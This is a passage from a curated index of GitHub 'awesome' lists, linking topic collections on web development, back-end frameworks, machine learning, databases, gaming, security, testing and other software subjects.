- [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework.
- [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps.
- [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format.
- [Canvas](https://github.com/raphamorim/awesome-canvas#readme)
- [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library.
- [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit.
- [Inspiration](https://github.com/NoahBuscher/Inspire#readme)
- [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework.
- [Android UI](https://github.com/wasabeef/awesome-android-ui#readme)
- [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme)
- [Meteor](https://github.com/Urigo/awesome-meteor#readme)
- [BEM](https://github.com/sturobson/BEM-resources#readme)
- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme)
- [Web Typography](https://github.com/deanhume/typography#readme)
- [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme)
- [Material Design](https://github.com/sachin1092/awesome-material#readme)
- [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations.
- [Emails](https://github.com/jonathandion/awesome-emails#readme)
- [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation.
- [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme)
- [Web Audio](https://github.com/notthetup/awesome-webaudio#readme)
- [Offline-First](https://github.com/pazguille/offline-first#readme)
- [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme)
- [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework.
- [Text Editing](https://github.com/dok/awesome-text-editing#readme)
- [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme)
- [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework.
- [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework.
- [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework.
- [Charting](https://github.com/zingchart/awesome-charting#readme)
- [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme)
- [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme)
- [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool.
- [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React.
- [Service Workers](https://github.com/TalAter/awesome-service-workers#readme)
- [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme)
- [choo](https://github.com/choojs/awesome-choo#readme) - App framework.
- [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps.
- [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler.
- [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler.
- [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor.
- [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language.
- [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor.
- [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics.
- [Preact](https://github.com/preactjs/awesome-preact#readme) - App framework.
- [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme)
- [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps.
- [Hyperapp](https://github.com/jorgebucaran/awesome-hyperapp#readme) - Tiny JavaScript library for building web apps.
- [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript.
- [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup.
- [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end.
- [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience.
- [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components.
- [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly.
- [PageSpeed Metrics](https://github.com/palfi-ltd/awesome-pagespeed-metrics#readme) - Metrics to help understand page speed and user experience.
- [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development.
- [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly.
- [Web Performance Budget](https://github.com/pajaydev/awesome-web-performance-budget#readme) - Techniques to ensure certain performance metrics for a website.
- [Web Animation](https://github.com/sergey-pimenov/awesome-web-animation#readme) - Animations in the browser with JavaScript, CSS, SVG, etc.
- [Yew](https://github.com/jetli/awesome-yew#readme) - Rust framework inspired by Elm and React for creating multi-threaded frontend web apps with WebAssembly.
- [Material-UI](https://github.com/nadunindunil/awesome-material-ui#readme) - Material Design React components for faster and easier web development.
- [Building Blocks for Web Apps](https://github.com/componently-com/awesome-building-blocks-for-web-apps#readme) - Standalone features to be integrated into web apps.
- [Svelte](https://github.com/TheComputerM/awesome-svelte#readme) - App framework.
- [Design systems](https://github.com/klaufel/awesome-design-systems#readme) - Collection of reusable components, guided by rules that ensure consistency and speed.
## Back-End Development
- [Flask](https://github.com/mjhea0/awesome-flask#readme) - Python framework.
- [Docker](https://github.com/veggiemonk/awesome-docker#readme)
- [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment.
- [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework.
- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme)
- [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework.
- [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework.
- [Education](https://github.com/pehapkari/awesome-symfony-education#readme)
- [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework.
- [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme)
- [TALL Stack](https://github.com/blade-ui-kit/awesome-tall-stack#readme) - Full-stack development solution featuring libraries built by the Laravel community.
- [Rails](https://github.com/gramantin/awesome-rails#readme) - Web app framework for Ruby.
- [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages.
- [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework.
- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme)
- [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server.
- [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework.
- [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations.
- [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework.
- [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures.
- [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework.
- [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM.
- [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure.
- [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift.
- [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework.
- [FastAPI](https://github.com/mjhea0/awesome-fastapi#readme) - Python web app framework.
- [CDK](https://github.com/kolomied/awesome-cdk#readme) - Open-source software development framework for defining cloud infrastructure in code.
## Computer Science
- [University Courses](https://github.com/prakhar1989/awesome-courses#readme)
- [Data Science](https://github.com/academic/awesome-datascience#readme)
- [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme)
- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme)
- [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme)
- [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby.
- [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework.
- [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala.
- [Software Engineering for Machine Learning](https://github.com/SE-ML/awesome-seml#readme) - From experiment to production-level machine learning.
- [AI in Finance](https://github.com/georgezouq/awesome-ai-in-finance#readme) - Solving problems in finance with machine learning.
- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme)
- [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme)
- [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme)
- [Question Answering](https://github.com/seriousran/awesome-qa#readme) - The science of asking and answering in natural language with a machine.
- [Natural Language Generation](https://github.com/tokenmill/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications.
- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme)
- [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme)
- [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers.
- [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme)
- [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks.
- [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence.
- [TensorFlow.js](https://github.com/aaronhma/awesome-tensorflow-js#readme) - WebGL-accelerated machine learning JavaScript library for training and deploying models.
- [TensorFlow Lite](https://github.com/margaretmz/awesome-tensorflow-lite#readme) - Framework that optimizes TensorFlow models for on-device machine learning.
- [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers.
- [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme)
- [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme)
- [Open Source Society University](https://github.com/ossu/computer-science#readme)
- [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme)
- [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems.
- [Static Analysis & Code Quality](https://github.com/analysis-tools-dev/static-analysis#readme)
- [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine.
- [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers.
## Big Data
- [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme)
- [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme)
- [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets.
- [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme)
- [Streaming](https://github.com/manuzhang/awesome-streaming#readme)
- [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing.
- [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps.
- [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time.
## Theory
- [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme)
- [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme)
- [Algorithms](https://github.com/tayllan/awesome-algorithms#readme)
- [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing.
- [Algorithm Visualizations](https://github.com/enjalot/algovis#readme)
- [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme)
- [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme)
- [Math](https://github.com/rossant/awesome-math#readme)
- [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures.
## Books
- [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme)
- [Free Software Testing Books](https://github.com/ligurio/awesome-software-quality#readme)
- [Go Books](https://github.com/dariubs/GoBooks#readme)
- [R Books](https://github.com/RomanTsegelskyi/rbooks#readme)
- [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme)
- [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme)
- [Elixir Books](https://github.com/sger/ElixirBooks#readme)
## Editors
- [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme)
- [Vim](https://github.com/mhinz/vim-galore#readme)
- [Emacs](https://github.com/emacs-tw/awesome-emacs#readme)
- [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor.
- [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor.
## Gaming
- [Game Development](https://github.com/ellisonleao/magictools#readme)
- [Game Talks](https://github.com/hzoo/awesome-gametalks#readme)
- [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine.
- [Open Source Games](https://github.com/leereilly/games#readme)
- [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine.
- [Chess](https://github.com/hkirat/awesome-chess#readme)
- [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine.
- [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console.
- [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme)
- [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine.
- [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine.
- [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game.
- [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games.
- [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code.
- [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework.
- [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine.
- [Game Remakes](https://github.com/radek-sprta/awesome-game-remakes#readme) - Actively maintained open-source game remakes.
- [Flame](https://github.com/flame-engine/awesome-flame#readme) - Game engine for Flutter.
- [Discord Communities](https://github.com/mhxion/awesome-discord-communities#readme) - Chat with friends and communities.
- [CHIP-8](https://github.com/tobiasvl/awesome-chip-8#readme) - Virtual computer game machine from the 70s.
- [Games of Coding](https://github.com/michelpereira/awesome-games-of-coding#readme) - Learn a programming language by making games.
## Development Environment
- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS.
- [Dev Env](https://github.com/jondot/awesome-devenv#readme)
- [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme)
- [Shell](https://github.com/alebcay/awesome-shell#readme)
- [Fish](https://github.com/jorgebucaran/awesome-fish#readme) - User-friendly shell.
- [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme)
- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme)
- [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories.
- [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme)
- [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme)
- [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile.
- [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme)
- [Git Tips](https://github.com/git-tips/tips#readme)
- [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI.
- [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows.
- [SSH](https://github.com/moul/awesome-ssh#readme)
- [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme)
- [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies.
- [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell.
- [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows#readme) - Productivity app for macOS.
- [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme)
- [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub.
## Entertainment
- [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi.
- [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme)
- [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme)
- [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme)
- [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme)
## Databases
- [Database](https://github.com/numetriclabz/awesome-db#readme)
- [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme)
- [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme)
- [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme)
- [Neo4j](https://github.com/neueda/awesome-neo4j#readme)
- [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database.
- [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme)
- [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework.
- [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database.
- [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database.
- [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store.
- [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases.
- [Contexture](https://github.com/ltchris/awesome-contexture#readme) - Abstracts queries/filters and results/aggregations from different backing data stores like ElasticSearch and MongoDB.
- [Database Tools](https://github.com/mgramin/awesome-db-tools#readme) - Everything that makes working with databases easier.
## Media
- [Creative Commons Media](https://github.com/shime/creative-commons-media#readme)
- [Fonts](https://github.com/brabadu/awesome-fonts#readme)
- [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts.
- [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme)
- [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images.
- [Music](https://github.com/ciconia/awesome-music#readme)
- [Open Source Documents](https://github.com/hubtee/awesome-opensource-documents#readme)
- [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme)
- [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme)
- [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art.
- [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video.
- [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects.
- [Audiovisual](https://github.com/stingalleman/awesome-audiovisual#readme) - Lighting, audio and video in professional environments.
## Learn
- [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials.
- [Learn to Program](https://github.com/karlhorky/learn-to-program#readme)
- [Speaking](https://github.com/matteofigus/awesome-speaking#readme)
- [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme)
- [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme)
- [Computer History](https://github.com/watson/awesome-computer-history#readme)
- [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme)
- [Educational Games](https://github.com/yrgo/awesome-educational-games#readme) - Learn while playing.
- [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme)
- [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules.
- [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager.
- [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills.
- [YouTubers](https://github.com/JoseDeFreitas/awesome-youtubers#readme) - Watch video tutorials from YouTubers that teach you about technology.
## Security
- [Application Security](https://github.com/paragonie/awesome-appsec#readme)
- [Security](https://github.com/sbilly/awesome-security#readme)
- [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag.
- [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme)
- [Android Security](https://github.com/ashishb/android-security-awesome#readme)
- [Hacking](https://github.com/carpedm20/awesome-hacking#readme)
- [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization.
- [Incident Response](https://github.com/meirwah/awesome-incident-response#readme)
- [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme)
- [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services.
- [Lockpicking](https://github.com/fabacab/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key.
- [Cybersecurity Blue Team](https://github.com/fabacab/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems.
- [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data.
- [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme)
- [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU.
- [DevSecOps](https://github.com/TaptuIT/awesome-devsecops#readme) - Integration of security practices into [DevOps](https://en.wikipedia.org/wiki/DevOps).
## Content Management Systems
- [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme)
- [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS.
- [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience.
- [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS.
- [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS.
- [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS.
- [Sitecore](https://github.com/MartinMiles/Awesome-Sitecore#readme) - .NET digital marketing platform that combines CMS with tools for managing multiple websites.
- [Silverstripe CMS](https://github.com/wernerkrauss/awesome-silverstripe-cms#readme) - PHP MVC framework that serves as a classic or headless CMS.
## Hardware
- [Robotics](https://github.com/Kiloreux/awesome-robotics#readme)
- [Internet of Things](https://github.com/HQarroum/awesome-iot#readme)
- [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists.
- [Bluetooth Beacons](https://github.com/rabschi/awesome-beacon#readme)
- [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar.
- [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots.
- [Robotic Tooling](https://github.com/protontypes/awesome-robotic-tooling#readme) - Free and open tools for professional robotic development.
- [LIDAR](https://github.com/szenergy/awesome-lidar#readme) - Sensor for measuring distances by illuminating the target with laser light.
## Business
- [Open Companies](https://github.com/opencompany/awesome-open-company#readme)
- [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme)
- [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices.
- [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment.
- [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses.
- [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News.
- [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology.
- [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making.
- [Social Enterprise](https://github.com/RayBB/awesome-social-enterprise#readme) - Building an organization primarily focused on social impact that is at least partially self-funded.
- [Engineering Team Management](https://github.com/kdeldycke/awesome-engineering-team-management#readme) - How to transition from software development to engineering management.
## Work
- [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration.
- [Communities](https://github.com/filipelinhares/awesome-slack#readme)
- [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme)
- [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme)
- [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme)
- [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions#readme)
- [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code.
- [Creative Technology](https://github.com/j0hnm4r5/awesome-creative-technology#readme) - Businesses & groups that specialize in combining computing, design, art, and user experience.
## Networking
- [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme)
- [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme)
- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme)
- [Real-Time Communications](https://github.com/rtckit/awesome-rtc#readme) - Network protocols for near simultaneous exchange of media and data.
## Decentralized Systems
- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers.
- [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network.
- [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications.
- [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network.
- [Ethereum](https://github.com/ttumiel/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development.
- [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning.
- [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps.
- [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business.
- [Waves](https://github.com/msmolyakov/awesome-waves#readme) - Open source blockchain platform and development toolset for Web 3.0 apps and decentralized solutions.
- [Substrate](https://github.com/substrate-developer-hub/awesome-substrate#readme) - Framework for writing scalable, upgradeable blockchains in Rust.
## Higher Education
- [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system.
- [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history.
- [Scientific Writing](https://github.com/writing-resources/awesome-scientific-writing#readme) - Distraction-free scientific writing with Markdown, reStructuredText and Jupyter notebooks.
- [Sustainable Technology](https://github.com/protontypes/awesome-sustainable-technology#readme) - Open technology sustaining stable climate, energy supply, and vital natural resources.
## Events
- [Creative Tech Events](https://github.com/danvoyce/awesome-creative-tech-events#readme) - Events around the globe for creative coding, tech, design, music, arts and cool stuff.
- [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy.
- [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands.
## Testing
- [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing.
- [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style.
- [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - Open-source browser automation framework and ecosystem.
- [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps.
- [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol.
- [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool.
- [k6](https://github.com/k6io/awesome-k6#readme) - Open-source, developer-centric performance monitoring and load testing solution.
- [Playwright](https://github.com/mxschmitt/awesome-playwright#readme) - Node.js library to automate Chromium, Firefox and WebKit with a single API.
## Miscellaneous
- [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format.
- [GeoJSON](https://github.com/tmcw/awesome-geojson#readme)
- [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme)
- [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values.
- [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme)
- [Radio](https://github.com/kyleterry/awesome-radio#readme)
- [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated.
- [Analytics](https://github.com/onurakpolat/awesome-analytics#readme)
- [REST](https://github.com/marmelab/awesome-rest#readme)
- [Continuous Integration and Continuous Delivery](https://github.com/cicdops/awesome-ciandcd#readme)
- [Services Engineering](https://github.com/mmcgrana/services-engineering#readme)
- [Free for Developers](https://github.com/ripienaar/free-for-dev#readme)
- [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc.
- [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS.
- [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme)
- [Readme](https://github.com/matiassingers/awesome-readme#readme)
- [Design and Development Guides](https://github.com/NARKOZ/guides#readme)
- [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme)
- [Self Hosted](https://github.com/awesome-selfhosted/awesome-selfhosted#readme)
- [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme)
- [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner.
- [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything.
- [Answers](https://github.com/stoeffel/awesome-ama-answers#readme)
- [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme)
- [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics.
- [GraphQL](https://github.com/chentsulin/awesome-graphql#readme)
- [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme)
- [Research Tools](https://github.com/emptymalei/awesome-research#readme)
- [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme)
- [Social Media Share Links](https://github.com/vinkla/shareable-links#readme)
